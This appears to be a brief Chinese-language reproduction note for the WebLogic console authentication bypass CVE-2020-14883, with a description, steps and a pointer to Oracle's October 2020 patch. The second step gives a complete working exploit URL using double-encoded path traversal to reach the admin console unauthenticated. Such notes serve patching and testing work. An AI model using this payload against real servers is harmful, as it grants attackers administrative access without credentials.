weblogic权限绕过漏洞(CVE-2020-14883)

漏洞描述：

未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,成功登录后台。

复现过程：

1.访问http://ip：port/console

2.访问

http://ip:port/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28"com.bea%3AName%3Dbase_domain%2CType%3DDomain"%29

修复建议：

及时更新补丁，参考oracle官网发布的补丁:

Oracle Critical Patch Update Advisory - October 2020

Oracle Critical Patch Update Advisory - October 2020 (Traditional Format)